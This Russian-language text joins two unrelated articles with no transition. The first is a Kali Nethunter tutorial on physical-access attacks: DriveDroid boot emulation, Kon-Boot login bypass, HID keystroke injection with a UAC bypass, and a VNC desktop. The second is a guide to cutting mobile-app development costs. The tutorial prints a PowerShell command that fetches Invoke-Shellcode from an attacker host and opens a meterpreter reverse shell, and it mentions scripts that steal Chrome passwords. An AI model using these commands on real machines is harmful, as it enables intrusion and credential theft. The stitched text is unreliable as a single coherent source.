Mobile apps

Приветствую тебя, мой читатель! Надеюсь, что предыдущие части (первая и вторая) из цикла статей про Nethuter тебе понравились. Сегодня мы сосредоточим внимание на атаках, когда сам атакующий имеет непосредственный (физический) доступ к компьютеру жертвы. Итак, поехали.

DriveDroid

DriveDroid приложение, которое позволяет вашему устройству прикидываться CD/DVD-приводом или USB-флешкой. Оно не входит в состав Nethunter, но находится в магазине приложений Nethunter (в Play Market, кстати, тоже есть). И естественно, приложение требует для работы root-права.

С помощью DriveDroid можно эмулировать ISO- и IMG-файлы образов. Также приложение умеет создавать пустые файлы-образы фиксированного размера (задается пользователем) и эмулировать их с возможностью чтения/записи, что пригодится нам чуть дальше.

При первом запуске приложение необходимо настроить. Последовательно будут отображены экраны, на каждом из которых надо будет совершить определенное действие: предоставить root-права, указать директорию для образова, выбор системы работы с USB, и т.д. В целом настройка напоминает старый принцип далее-далее-далее-ок, поэтому останавливаться на ней не будем. Добавлю только, что если монтирование проходит некорректно, нужно поменять систему работы с USB, там было несколько вариантов на выбор (более предпочтительный вариант находится сверху).



Рис.1. Настройка и интерфейс DriveDroid.

Теперь мы можем монтировать различные образы и загружаться с них. Изначально доступен только один тестовый образ Drive Droid Boot Tester. При нажатии на него появляется несколько вариантов монтирования:

• как флешку в режиме чтения,
• как флешку в режиме чтение/запись,
• как привод с оптическим диском.

Выбираем любой понравившийся вариант для монтирования (я выбирал read-only usb), перезагружаем компьютер, в BIOS меняем приоритет загрузки устройств, чтобы загрузка с внешних устройств была предпочтительнее (да-да, точно как с переустановкой Windows:) ). Если все сделано правильно, то компьютер загрузится с эмулированного тестового образа (ты сразу поймешь, что это именно он).


Рис.2. Экран загрузки с тестового образа DriveDroid.

Данное приложение позволяет нам на компьютере жертвы загрузиться через какой-нибудь LiveCD и, если на машине не установлено шифрование жесткого диска, скачать нужные файлы. В принципе, можно выполнить любое действие, которое позволяет эмулированный LiveCD: выполнить проверку на вирусы, переразметить разделы, установить ОС и другие возможные варианты.

Особо хочется отметить средство Kon-Boot, которое позволяет обходить авторизацию на Windows и Mac машинах. Release note для Windows тут и для Mac тут. Утилита для Windows в последних версиях даже умеет обходить онлайн авторизацию на Windows 10. Но не стоит сильно радоваться, так как утилита платная, и ее стоимость начинается от 25$ за персональную лицензию для одной из ОС. Придется потрясти любимую свинью-копилку. Алгоритм использования прост:

• Монтируем образ утилиты с помощью DriveDroid;
• Загружаемся с него (изменяем приоритет загрузки в BIOS, если понадобится), потом загрузчик Kon-Boot начинает запуск Windows;
• Выбираем любого пользователя и заходим под ним с пустым паролем.

Видео с демонстрацией работы (не мое) можно посмотреть тут.

HID атаки

Nethunter имеет несколько встроенных инструментов для проведения HID-атак (human interface device). Для проведения данных атак необходим непосредственный доступ к атакуемой машине и возможность выполнения на ней некоторых действий (система должна быть разблокирована). HID-атаки воспринимаются системой, как легитимное поведение пользователя. Антивирусное ПО, как правило, на саму атаку не срабатывает, но может сработать на используемую нагрузку. Например, при загрузке вредоносного файла или при загрузке некодированного файла для проброса сессии meterpreter. Таким образом можно сократить время рутинных операций во время атаки, что крайне полезно в условиях ограниченного времени доступа к атакуемой машине.

Ducky Script

Ducky Script скриптовый язык, с помощью которого можно составить сценарий действий, выполняемых от имени пользователя. Подключенное устройство с программой-интерпретатором посылает сигналы на компьютер, имитируя ввод с клавиатуры и мыши. Ducky Script используется для устройства USB Rubber Ducky (сейчас на Amazon стоит порядка 120$).


Рис.4. Комплект устройства USB Rubber Ducky.

В Nethunter есть встроенный интерпретатор (приложение NetHunter вкладка DuckHunter HID), но заставить его корректно работать у меня не удалось.


Рис.5. Nethunter DuckHunter HID.

Зато в NetHunter Store есть приложение Rucky (v 1.9), которое также является интерпретатором Duck Script. Приложение прекрасно отправляет ввод с клавиатуры и нажатия клавиш, но указатель мыши у меня так и не начал двигаться.

Открываем приложение Rucky, пишем скрипт на запуск Chrome со ссылкой и запускаем.


Рис.6. Rucky. Скрипт запуска Chrome.


Как выполнение Ducky Script выглядит на машине.

Вот здесь собраны примеры скриптов. Быстро установить на обои хот-доги или украсть пароли из Chrome и отправить на email Возможности есть на все, на что фантазии хватит!

HID Attacks

В приложении Nethunter есть вкладка HID Attacks. Атаки из этой группы работают по принципу устройство имитирует ввод с клавиатуры, но ориентированы они на определенные паттерны. Плюсом является то, что есть опция UAC Bypass (для Win7, Win8, Win10), при использовании которой командная строка запускается от администратора. Соответственно, вы должны быть залогинены, как минимум под локальным администратором, чтобы не пришлось вводить данные учетной записи администратора.


Рис.7. UAC bypass.


Рассмотрим паттерны в HID Attacks.

Powersploit

Данный паттерн ориентирован на запуск Powershell скрипта с удаленной машины, который должен пробросить meterpreter shell с атакуемой машины.


Рис. 9. Nethunter-HID Attacks-PowerSploit.


Рис. 10. Результат выполнения в командной строке.

iex (New-Object Net.WebClient).DownloadString("http://192.168.1.45:80/Invoke-Shellcode.ps1"); Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost 192.168.1.45 -Lport 8080 -Force

Результат декодирования BASE64 строки.

Как видно из скриншота, атака у меня не удалась из-за проблем выполнения скрипта. По указанным параметрам я определил, что скорее всего должен использоваться Invoke-Shellcode.ps1 из репозитория EmpireProject. Cкрипт Invoke-Shellcode.ps1 или репозитория PowerSploit обновлен и в нем нет параметра Payload. Использование старой подходящей версии скрипта представлено на рис. 10.

В закодированной BASE64 строке представлены все наши параметры из окна приложения. Если что-то будете менять, не забудьте про кнопку UPDATE внизу, это важно.

Таким образом, ждем, пока разработчики обновят эту часть приложения Nethunter.

Windows CMD

Тут все просто. В данном паттерне запускается командная строка и последовательно выполняются команды, указанные в параметре скрипта. Также можно запускать командную строку от администратора, можно сохранять и загружать сохраненные скрипты. И не забываем про кнопочку UPDATE.


Рис. 11. Nethunter HID Attacks Windows CMD.


Рис. 12. Результат выполнения в командной строке.


Powershell HTTP Payload

Данный паттерн должен загружать powershell нагрузку и выполнять ее. Но он не заработал у меня вообще: при запуске атаки никакие действия не происходили, а логи веб-сервера, на котором был скрипт с нагрузкой, остались пусты.


Рис.13. Nethunter HID Attacks Powershell HTTP Payload.

И небольшой бонус для тех, кто дочитал :)

KeX manager

Полноценный десктопный интерфейс Kali Linux, да-да! Nethunter имеет встроенный VNC-сервер (Virtual Network Computing система удалённого доступа к рабочему столу компьютера). Настраивается все очень просто. В приложени Nethunter во вкладке KeX Manager нажимаем на кнопку SETUP LOCAL SERVER и устанавливаем пароль для нашего сервера. Теперь нажимаем START SERVER, статус сервера изменился на RUNNING. Нажимаем на OPEN KEX CLIENT, вводим заданный ранее пароль, и у нас запускается десктопный интерфейс.


Рис.14. Настройка и подключение к VNC-серверу.


Рис.15. Результат подключения к VNC-серверу.

Если мы хотим подключиться с другого устройства, необходимо, чтобы галочка Localhost Only была снята и клиент мог достучаться до сервера. Перезапускаем сервер. И с помощью VNC-клиента на другом устройстве подключаемся, указав IP устройства Nethunter и порт 5901 (например, 192.168.1.3:5901). Потом вводим ранее установленный пароль, и вот мы подключились!


Рис.16. Результат подключения к VNC-серверу с другого устройства.


На этом пока что все. Помни, все только в образовательных целях :) До скорого!

Привет, я Евгений Бойченко сооснователь студии, которая разрабатывает мобильные приложения. За 10 лет работы вопрос Почему так дорого? я слышу чуть ли не ежедневно. Для многих клиентов мы искали возможности безболезненно снизить цену разработки, и в итоге у меня накопилось некоторое количество кейсов, которые решают проблему высокой стоимости мобильного приложения. В этом треде я призываю комьюнити делиться знаниями о том, как удешевить разработку мобильного софта без потерь. Начну с себя и своих секретиков, а вы присоединяйтесь в комментариях вместе создадим гайд по экономичной разработке, который будет полезен обществу.

Предисловие: как понять, что мобильное приложение вам нужно

Представьте, что вы клиент студии мобильной разработки. Принимая решение о разработке мобильного приложения, лучше оставить аргументы в духе у всех есть, а у меня нет и желание быть в тренде. Нужно посмотреть на ситуацию трезво. Мы подготовили небольшой блиц, который поможет понять, насколько ваш бизнес готов к мобильному приложению:

• Моя ниша достаточно велика?
• Приложение решит мои бизнес-задачи?
• Будет ли у меня такой поток клиентов, который оправдает вложения?
• В насколько близких отношениях мои клиенты с мобильными технологиями?

Ответ нет хотя бы на один из этих вопросов повод задуматься о необходимости приложения. Мало времени и денег ещё два предупредительных выстрела. И того, и другого будет уходить много.

Сколько времени уходит на мобильную разработку

Вы должны будете рассказать студии, каких целей хотите достичь с приложением и какими именно путями, выслушать аргументы за и против, идти на компромиссы, оценивать, согласовывать, соглашаться и отказывать. Коммуникация будет вестись как устно, так и письменно. Есть ли у вас личное время или доверенный человек, который будет готов выделить несколько месяцев жизни на управление проектом? Если да, то это то, что нужно.

Сколько денег уходит на мобильную разработку

Готовы потратить семизначную сумму? Начинайте разработку смело. Не готовы? Читайте статью дальше.

MVP приложения

MVP (Minimum Viable Product минимально жизнеспособный продукт) пилотная версия приложения. Она нужна чтобы понять, как продукт или услуга заходит аудитории, при минимальных затратах на создание. Ей не требуются функциональные и дизайнерские украшательства всё, что там будет, работает строго на бизнес-цель продукта.

Стратегия MVP уместна, когда нужно выпустить приложение вовремя, понять, что люди будут им пользоваться, и проверить все гипотезы, которые вы сформулировали на этапе проектирования. Выбрав её, вы не потратите деньги на неинтересный аудитории продукт. А если интерес будет, то вы сможете развивать приложение дальше.

MVP-версия мобильного приложения для интернет-магазина должна обязательно состоять из главной страницы, каталога с поиском, корзины и функции оплаты. Добавлять анимацию, подключать сторонние сервисы, предлагать несколько способов оплаты и внедрять дополненную или виртуальную реальность рано. Убедитесь, что в приложении покупают, а дальнейший анализ покажет, что ещё нужно пользователю.

Проектирование, аналитика и техническое задание

Проектирование, аналитика и создание ТЗ на разработку мобильного приложения это фундамент, на который опирается вся разработка. Эти этапы нужно проработать до мелочей, не жалея времени и денег: инвестируя в них сейчас, вы сэкономите в будущем.

Если вы ещё не выяснили, кто ваши потенциальные пользователи, как проект будет реализован, сколько он стоит и есть ли у вас конкуренты, сделать это можно на этапе бизнес-аналитики.

Суть кратко: системный аналитик собирает ваши требования к проекту и переводит их на язык разработки. Он выясняет:

• Всё о целевой аудитории: кто, какую потребность нужно удовлетворить, какие группы пользователей будут у продукта, для чего эти люди будут использовать сервис и как они будут с ним взаимодействовать.
• Всё о бизнес-цели: какие у проекта цели и задачи, зачем мобильное приложение нужно пользователям и вам.
• Всё о функциональности: что с его помощью можно будет делать, какие в нём основные функции, какие должны быть экраны.
• Всё о средствах: как проект должен быть реализован (какие нужно применить технологии, платформы, сервисы) сколько будет стоить разработка такого проекта;
• Всё о контексте: с какими продуктами должен конкурировать проект, какие существуют хорошие решения в этой области и что можно в них улучшить.

Что при этом происходит:

• Встречи с аналитиком, на которых клиент описывает, чего хочет, и получает обратную связь.
• Работа аналитика составление документов, описывающих проект, поиск информации о пользователях и конкурентах, исследование технологий.
• Встречи и презентация результатов с обратной связью от клиента.

Эта работа поможет вам отмести нежизнеспособные идеи и сэкономить деньги и время. Она будет стоить до 10% от общей цены разработки приложения. Аналитики укажут на точки роста и помогут сделать его лучше, а вы поймете, какие функциональные возможности в будущем продукте самые важные. В этом и есть смысл этапа проектирования. Оно подтверждает или опровергает идею о том, что ваш продукт нужен людям. Без этого этапа можно получить неожиданно маленькое количество установок, нулевые продажи и нулевой доход.

Полученные в ходе аналитики и проектирования данные ложатся в основу технического задания. В нём описано, на какой платформе будет работать приложение, какие версии операционной системы оно будет поддерживать, с какими аппаратными частями устройства будет работать, интеграции с какими сторонними сервисами и системами предполагаются. Техническое задание можно заказать в одной студии и пойти в другую с уверенностью, что вашу задачу поймут без искажений и дадут точную оценку.

iOS или Android: что лучше выбрать для разработки мобильного приложения

На разработке приложения можно сэкономить в два и более раза, если делать приложение только под одну платформу iOS или Android. Но практика показала, что из-за сотен существующих на рынке моделей телефона на ОС Android и нескольких актуальных её версий разработка под эту платформу может стоить больше, чем разработка под iOS.

Есть несколько причин для того, чтобы начать с создания приложения для владельцев айфонов:

• приложения для iOS лучше монетизируются;
• нужно поддерживать меньше типов устройств;
• на устройствах чаще всего стоит актуальная версия операционной системы;
• хакерам сложнее украсть личные данные пользователей;
• у приложений более высокое качество из-за придирчивой модерации.

Но окончательный выбор платформы зависит от цели приложения и его аудитории. Хотите зарабатывать и делаете ставку на платёжеспособных пользователей? Выбирайте iOS. Создаёте продукт, нацеленный на массы или регионы, жители которых не привыкли или не могут платить за цифровые продукты? Делаете сервисное приложение для курьеров и торговых представителей и не можете позволить себе дорогой парк устройств? Выбирайте Android. Хотите захватить мир? Выбирайте обе платформы.

Как сэкономить на дизайне мобильного приложения

Чтобы не переплатить за дизайн, нужно помнить минимум о двух условиях:

1. Дизайн это сумма функциональных и графических решений, которые помогают приложению выполнять свою цель, а не впечатляющий внешний вид. Ничто не должно мешать интерфейсу быть практичным и понятным. Иначе говоря, хороший дизайн это как можно меньше дизайна.
2. До появления вашего приложения пользователи уже работали с десятками других и привыкли к внешнему виду и расположению элементов, последовательности действий и реакции приложения на те или иные действия. Это паттерны, и пользователи ждут, что они будут повторяться всегда и во всех приложениях для конкретной платформы отталкивайтесь от этого.

Выполнять второе условие дизайнерам и разработчикам помогают гайдлайны операционных систем руководства по оформлению интерфейса приложений на iOS или Android. Когда разработчику нужно реализовать стандартные элементы интерфейса (те, что зафиксированы в гайдлайнах), он обращается к UI-китам наборам готовых решений пользовательского интерфейса под разные платформы. Подробнее о UI-китах, их назначении и о том, как они помогают сэкономить на дизайне, рассказала Tilda.

Допустим, стоит задача разработать для обеих платформ внешне одинаковое приложение. Поэтому нужно сделать какой-то элемент не таким, каким он обычно выглядит в своей ОС. Например, мы пытаемся повторить тулбар iOS в Android-версии. Это значит создание элемента с нуля, что дольше и дороже. В совокупности такие изменения сильно повлияют на стоимость проекта.

С анимациями похожая история: чем они сложнее и круче, тем больше времени и бюджета требуют.

У вас может быть уникальный продукт, но логически все приложения из этой ниши устроены похоже. Это ваше счастье: дизайнеры, если они уже работали над подобными приложениями, могут предложить вам шаблонное решение, с которым не нужно будет изобретать велосипед. Шаблон останется только стилизовать, т.е. подобрать цвета, шрифты, иллюстрации или взять их из гайдлайнов вашего продукта. Так дизайн будет готов в короткие сроки, а вы сэкономите бюджет.

Если своих шаблонов у студии нет, то на помощь могут прийти уже упомянутые выше UI-киты. На сайте UI8 изобилие уже готовых китов, иконок, вайрфреймов и всего, что нужно для работы над пользовательским интерфейсом.

Кроссплатформенные приложения: что это и как экономит деньги

Подход к разработке приложения может быть нативным и кроссплатформенным.

Нативные приложения создаются на конкретном языке программирования для конкретной платформы: языки Java и Kotlin для Android, а Swift не ниже третьей версии для iOS.

Достоинства:

• мгновенная реакция на действия пользователей;
• прямой доступ к аппаратной части устройства;
• привычный для пользователей платформы интерфейс.

Недостаток: высокая стоимость разработки и поддержки из-за привлечения минимум одного разработчика для каждой платформы.

Кроссплатформенные разработка мобильных приложений осуществляется с помощью веб-технологий (HTML, CSS и JavaScript) инструментами Cordova, Xamarin, React Native и Flutter и работают сразу на iOS и Android. Чтобы написанный код заработал на мобильных устройствах, его нужно либо перевести на понятный им язык, либо сделать прослойку, которая работает на устройстве и переводит обращения к функциям устройства с непонятного для них языка на понятный.

Достоинство: низкая стоимость разработки и поддержки из-за привлечения одного веб-разработчика.

Недостатки:

• необходимость доработки интерфейса для каждой платформы согласно гайдлайнам;
• трудности в достижении правильной работы всех нужных функций;
• задержка реакции на действия пользователя;
• медлительность, поэтому подходит для разработки только простых приложений.

Кроссплатформенная разработка поможет вам сэкономить в том случае, если вы создаёте простое приложение, проверяете гипотезы или у вас есть свой веб-разработчик. В остальных случаях рекомендуем выбирать нативную разработку.

Как сэкономить на бэкенде

Большая часть приложений работает с данными: принимает от пользователя, отдаёт на сервер, возвращает и т. п. Для этого нужна бэкенд-разработка, расходы на которую занимают солидную часть бюджета. Как же можно сэкономить на серверной разработке?

1. Хранить данные на стороне клиента, то есть в устройстве. В таком случае для работы приложения не нужен интернет, но так оно лишается интерактивности, а новый контент будет появляться только с новой версией приложения в сторе.
2. Использовать бессерверную архитектуру приложений Serverless. Это решение не требует ни особых знаний для развёртывания и поддержки, ни ощутимого бюджета всю поддержку берёт на себя тот облачный сервис, на котором вы построите архитектуру. Много возможностей для этого имеют AWS, Azure и Firebase.
3. Работать с данными через интеграции с бесплатными инструментами. Вместо хитрых кастомных форм можно использовать Google-форму, данные собирать не в административную панель, а в Google-таблицу, а вместо приложения использовать Telegram-бота.
4. Использовать SaaS-сервисы. В приложении есть типовые функции, создание и поддержка которых не только дороги, но и отягощают клиента бумажной волокитой. Поэтому их разработка с нуля редкость. Один из примеров такой функции оплата, и стандарт де-факто использовать платёжный шлюз какого-нибудь банка.

И это касается массы других возможностей приложения. Нужны чаты или push-уведомления? Их дешевле брать готовыми, в виде SaaS (Software-as-a-Service программное обеспечение как услуга). В среднесрочной перспективе это дешевле и надёжнее, чем писать свою платформу. Вы тем самым избегаете всех грабель, которые собрали разработчики платформы до того, как она заработала.

Фриланс или агентство: выбираем разработчиков

Фрилансер это вольнонаёмный специалист, с которым вас будут связывать только деловые отношения. Так как фрилансер работает вне штата, он будет с вами только на время работы над проектом или его этапом, и ничто не помешает ему заниматься основной работой или другими проектами.

Фрилансеру не нужно рабочее место в офисе, вы не платите за него налоги и не обеспечиваете его отпускными. Он, в свою очередь, не разделяет ваши ценности и имеет низкую ответственность за результат. Это отчасти и снижает стоимость их услуг. Однако стоит планировать некие расходы на случай, если внештатник некорректно оценил проект или, например, если вам придётся срочно искать ему замену.

Минусы:

• Отношения с фрилансером основаны на взаимном доверии, и всегда есть риск наткнуться на недобросовестного исполнителя. Кроме того, без тестирования и code review со стороны профессионалов не факт, что проект будет реализован без багов и другие специалисты смогут его поддерживать, если вы решите сменить исполнителя.
• Срывы дедлайнов и растягивание задач частая ситуация в работе с фрилансерами. Если он работает над несколькими проектами, в первую очередь он будет решать задачи на горящих. Фрилансер может и вовсе перестать выходить на связь и пропасть.
• Исключительно материальная заинтересованность фрилансера в вашем проекте и полное безразличие к его дальнейшей судьбе могут дать плохой результат. Включённость в проект важна, и от того, каких специалистов вы подберёте и как построите взаимодействие, будет зависеть успешность проекта.

Нанимать фрилансеров стоит при явно ограниченном бюджете, но от вас требуется богатый опыт в управлении проектами и готовность тратить много времени на общение с подрядчиками. Самое главное просчитывать риски и всегда иметь под рукой план Б.

Региональные студии или столичные: кому доверить проект

От правильного выбора студии разработки мобильных приложений зависит исход проекта. Он должен быть настолько же ответственным, как выбор квартиры или автомобиля: в лучшем случае вы будете счастливым обладателем практичного имущества, в худшем на вас на долгие годы ляжет бремя сожаления.

Начните поиск студии с рейтингов. Их изучение даст вам представление о количестве студий в России, стоимости их услуг и их положении в отрасли. Ориентироваться стоит на четыре рейтинга:

• Тэглайн самый авторитетный рейтинг разработчиков мобильных приложений на российском рынке. Учитывает годовую выручку студии, количество сотрудников, качество сайта студии и её узнаваемость среди коллег по цеху.
• Рейтинг Рунета главные критерии попадания в него количество выпущенных приложений и их средняя оценка в сторах, поэтому вам не придётся выбирать среди псевдостудий, сделавших два давно мёртвых проекта.
• Clutch рейтинг из США. Позиции студий зависят от реальных отзывов и оценок от уже работавших с ними клиентов.
• Ruward агрегатор других рейтингов. Учитывает позиции студий в Тэглайне, Рейтинге Рунета, Clutch Russia и ряде второстепенных рейтингов.

Теперь посмотрите на географическое положение каждой студии в этих рейтингах. Если не в первой десятке, то уж точно в двадцатке будут соседствовать столичные и региональные студии. Это наглядно доказывает, что дислокация не показатель: сибирская команда способна решать задачи на том же уровне, что и московская или питерская. При этом почасовая ставка из-за разницы в уровнях жизни будет наверняка ниже.

На что ещё обратить внимание при выборе студии мобильной разработки:

• Студии с маленьким штатом редко способны выдать результат высокого уровня из-за банальной нехватки рук.
• Студия, работающая на рынке от двух лет и более, уже имеет и опыт, и портфолио.
• Портфолио скажет вам о многом: какого масштаба клиенты доверились этой студии, насколько хорошо студия делает свою работу, а главное создавала ли она ранее продукт, похожий на ваш. Если да, то вам повезло, ведь студия уже понимает ваши проблемы и проблемы рынка, а работа над проектом пойдёт быстрее на всех этапах.

Экономия с помощью конструкторов мобильных приложений

Растущий рынок мобильных приложений в какой-то момент не мог не предложить малому и среднему бизнесу создавать приложения в конструкторах и генераторах.

Такой подход создания собственного мобильного приложения позиционируется как не требующий никаких знаний о программировании: пользователь конструктора работает в редакторе, где выбирает шаблон интерфейса мобильного приложения, подключает чат, монетизацию, программу лояльности, push-уведомления, аналитику, интегрирует его с соцсетями и сторонними сервисами и т. п.

Зачем нужно приложение на конструкторе? Чтобы осмотреться в мобильной среде, увидеть востребованность бизнес-идеи в ней, а если она есть, то это будет зелёным светом к разработке приложения с нуля.

Конструкторы для создания мобильных приложений делятся на два типа:

1. Такие, в которых люди без знаний о дизайне и разработке смогут что-то сделать самостоятельно.
2. Такие, в которых создатели этих конструкторов работают сами, собирая приложение под определённого клиента.

Признаемся, что автор не знает ни одного конструктора первого типа, на котором собрали бы приложение, пользующееся спросом и решающее реальные проблемы миллионов. Если вы не знакомы со своей аудиторией, слабо понимаете, что такое пользовательский опыт, то вам будет сложно получить достойно выглядящий, удобный и приносящий деньги результат. У таких конструкторов нет поддержки дизайнеров и разработчиков, а значит, вы будете сами себе аналитиком, UX/UI-дизайнером и маркетологом, то есть сами поведёте свой продукт к успеху. Чем это закончится вопрос риторический.

Но если вы собрали приложение самостоятельно, воспользовавшись одним из таких конструкторов, и всем довольны, то напишите об этом в комментариях мы хотим узнать об этом опыте.

За вторым типом конструкторов стоят специалисты, которые не дадут вам действовать в одиночку. За несколько десятков-сотен тысяч рублей (цена зависит от поставщика услуги и пакета предоставляемых возможностей) вы получите приложение с поддержкой, которое хотя и сделано по шаблону, но выполняет свои задачи. Ваш следующий ход принять решение, делать ли полностью кастомное приложение или направить отложенные для этого деньги, скажем, в маркетинг.

Есть множество индустрий, где конструкторы второго типа хорошо решают задачу. Среди них рестораны и кафе, на создание приложений для которых заточен конструктор WelcomeApp, службы доставки еды, решение для которых поставляет DeliveryApp, массовые мероприятия и корпоративные приложения, с которыми рады помочь такие конструкторы, как Eventicious и EventPlatform, и другие индустрии. Находятся даже платформы для массового выпуска приложений с программой лояльности и студии, которые готовы сделать клоны хоть твиттера и eBay, хоть уберы для любых специалистов.

Политика мобильных сторов в отношении шаблонных и сгенерированных приложений неустойчива. В августе 2017 года компания Apple добавила в инструкцию по публикации приложений в App Store пункт, гласящий, что модераторы не будут пропускать такие приложения. В июле 2019 компания пошла на уступки: такие приложения нельзя подписывать в App Store именем клиента, данные каждого клиента должны храниться на отдельном бинарном файле, а сам конструктор приложения должен предоставлять инструменты для создания приложений с уникальным пользовательским опытом. К таким инструментам и относятся профессиональные конструкторы.

Итог короткий: если и выбирать конструктор для создания мобильных приложений, то только профессиональный. Попробовать можно, зарабатывать и развивать с трудом. Сразу после подтверждения спроса думайте о полноценном приложении.

Сэкономить на мобильной разработке с помощью маркетплейсов

Молодому бизнесу, решившему зайти на территорию мобайла, порой разумнее не делать приложение, а подключиться к маркетплейсу. Например, ресторан или кухня могут не делать своё приложение, а завести аккаунт на Яндекс.Еде, а производитель обуви в маркетплейсе Bringly или Беру. Став партнёром, магазин платит площадке комиссию с каждой продажи. Если продажи через маркетплейс есть и имеют тенденцию к росту и возврату клиентов, то можно подумать об инвестициях в собственное мобильное приложение.

Пионерами и лидерами в этой нише остаются Amazon, eBay, Alibaba и Ozon, где большинство из нас что-то покупали хотя бы раз в жизни, а в России, по данным сайта Shopolog, существует несколько десятков маркетплейсов.

В силу того, что процессом купли-продажи товара или услуги управляет маркетплейс, у вас не получится выстроить с пользователем близких отношений. Напомним, что решение идеально, чтобы протестировать спрос остального вы добьётесь за счёт своего приложения.

Мобильное приложение или PWA

А нужно ли вообще делать приложение? Если у вас есть адаптивный сайт и веб-разработчик, то несколько манипуляций и вы получаете PWA (Progressive Web App). Это не просто сайт: он всё ещё открывается в мобильном браузере, но уже может работать офлайн, посылать push-уведомления, иметь доступ к некоторым аппаратным частям устройства и открываться с рабочего стола через клик на иконку. При этом места на устройстве он занимает меньше.

Понятие PWA появилось в 2015 году на фоне популяризации принципа mobile first. Принцип гласит, что, поскольку мобильный интернет-трафик сравнялся с десктопным (а впоследствии и обогнал его), то дизайнеры и разработчики теперь должны делать сайты в первую очередь для пользователей смартфонов, то есть быстрыми, удобными и полезными. По релевантным запросам такие сайты идут в мобильной поисковой выдаче выше конкурентов.

За эти годы появилось уже достаточно кейсов, подтверждающих, что PWA играют на руку бизнесу: пользователям нравится тот опыт, который они получили от приложения, и они продолжают им пользоваться, нести трафик и покупать товары. От скорости загрузки PWA-версий сайта выиграли Lancome, Tinder, Uber, Pinterest и другие известные продукты.

Установить на своё устройство PWA-приложение пользователь мог только тогда, когда он работал с мобильным сайтом, и их нельзя было найти в магазинах приложений. Но в феврале 2019 с выходом браузера Chrome 72 и появления функции Trusted Web Activity в его Android-версии возможность скачать PWA из стора получили как минимум пользователи ОС Android.

Экономия на поддержке

Если приложение окажется способным решать проблемы миллионов, то оно будет востребовано если не всегда, то очень долго. Это значит, что его нужно поддерживать в адекватном состоянии: масштабировать, обновлять дизайн согласно трендам и данным о пользовательском опыте, внедрять новые возможности и сохранять базовую работоспособность.

Заключить договор о поддержке это уже само по себе экономия, но есть несколько способов сократить расходы и на неё:

1. Сократите количество часов. За несколько месяцев работы продукта может выясниться, что вам будет много даже половины купленного на поддержку времени.
2. Откажитесь от поддержки по SLA. В этом случае ваши задачи лишаются разделения по критичности, и насколько бы проблема ни была серьёзной, её никто не будет решать в срочном порядке в нерабочее время. Осторожно предположим: если у вас не DATA-центр, то вряд ли вам нужна незамедлительная реакция отдела поддержки.
3. Сделайте легкоподдерживаемый продукт. Не пренебрегайте документацией, code review, подготовкой автотестов, проработкой архитектуры, рефакторингом вложенные в них средства оправдают себя позже. Хорошо задокументированный проект позволит разобраться в нём даже тому разработчику, который видит проект впервые.

Модели оплаты

Если вы создаёте приложение совместно со студией, то в зависимости от целей проекта работа и оплата ведутся по одной из двух моделей:

• Fixed price. Модель предполагает, что за утверждённый бюджет в утверждённые сроки студия создаст то, что оговорено в техническом задании.
• Time & Materials. Модель предполагает, что клиент платит постфактум за те человекочасы, которые команда потратила на решение отдельных задач.

Кажется, что FP выгоднее: ведь исполнитель назвал цену на берегу, а по T&M стоимость может оказаться непрогнозируемо больше. Так и есть, когда стоит цель сделать проект к конкретной дате или когда проект небольшой и не предполагает доработок. Но в случае с проектами посложнее исполнитель закладывает в оценку по FP максимум рисков, которые заказчик вынужден оплатить, даже если они не проявились. Так что с работой по T&M стоимость может стать непрогнозируемо меньше. Но всё же существуют оптимальные условия для такой модели:

Предстоит работать над стартапом среднего или большого размера

Рынок, на котором стартап хочет занять место, может быстро измениться, а вместе с ним поменяются и требования к продукту. Но при работе по FP клиент уже описал в техническом задании функциональность, которую исполнитель сделает при любых обстоятельствах даже если функциональность больше не нужна. Мало того, что он её описал, так он за неё ещё и заплатил. И если результат оказался не пригоден для рынка, придётся платить за доработку или замораживать проект. Модель Time & Materials даёт возможность быстро пересматривать и кардинально менять приоритеты.

У клиента есть время на регулярную коммуникацию с командой

Fixed Price освобождает клиента от необходимости отслеживать течение проекта: студия получает деньги и называет сроки, а клиент в это время занимается своими делами и ждёт результата. При работе по Time & Materials клиент это соучастник, напрямую влияющий на проект. Кстати, это самое соучастие и экономит бюджет, потому что требования к продукту не составляются в функциональное задание, а уточняются напрямую, и можно быстро обсудить возможные решения, их плюсы и минусы, а потом выбрать самый короткий путь реализации. На Fixed Price же студия должна заложить время на отработку рисков в оценку и нести за них ответственность сама. Под рисками мы имеем в виду неверно истолкованные части ФЗ, что вызывает неожиданный, мягко говоря, результат, недовольство клиента и переделки.

Нет чётких дедлайнов

Амбициозный проект трудно создавать в рамках строгих сроков и функциональности. Строгость черта модели Fixed Price. Но если риски вылезают наружу, то разработчик приходит к клиенту и говорит, что задача оказалась сложнее, чем предполагалось, и придётся упрощать разработку, чтобы уложиться в сроки. Модель Time & Materials позволяет избежать связанной с этим неловкости: оплата по факту выполнения задачи даёт возможность обсуждать её столько, сколько нужно, и работать без нервов.

Блок для тех, у кого мало времени: как сделать приложение и не попасть в долговую яму кратко

1. Начинайте с MVP-версии. Она поможет вам оценить востребованность приложения у целевой аудитории минимум киллер-фич, только лаконичный дизайн и полезная функциональность.
2. Не жалейте времени и денег на бизнес-аналитику. Этот этап поможет вам выбрать правильную стратегию для развития приложения, отметёт нежизнеспособные идеи и сэкономит ваши деньги в долгосрочной перспективе (особенно на этапе поддержки).
3. Сделайте как можно меньше дизайна. В помощь гайдлайны от Google и Apple и UI-киты.
4. Если в приложение закладывается простая функциональность сделайте его кроссплатформенным. Разработку сложных приложений можно начинать с одной платформы iOS или Android. Когда показатели конверсии оправдают себя, то смело принимайтесь за вторую.
5. Храните данные на стороне клиента, не прибегая к бэкенду или используйте бессерверную архитектуру.
6. Работайте с данными через интеграции с бесплатными инструментами (например, от Google) вместо таблиц и хитрых кастомных форм.
7. Вместо разработки типовых функций с нуля используйте SaaS-сервисы и библиотеки.
8. Выбирайте разработчика, который будет заинтересован в жизнеспособности вашего проекта. Не ориентируйтесь на столичные студии разработки, а найти хорошего исполнителя помогут рейтинги.
9. Если бюджет совсем маленький, используйте конструктор приложений приложение, разработанное на конструкторе, поможет вам прощупать почву в мобильной среде и понять, нужно ли начинать полноценную разработку.
10. Не начинайте с eCommerce-приложения станьте партнером маркетплейса, если хотите сначала протестировать спрос на ваши товары.
11. Если у вас уже есть сайт и свободный веб-разработчик, создайте PWA вместо приложения. PWA-сайт построен на технологиях, которые позволяют ему работать как мобильное приложение: быть нативным, присылать пуши, быстро отвечать на запросы пользователя.
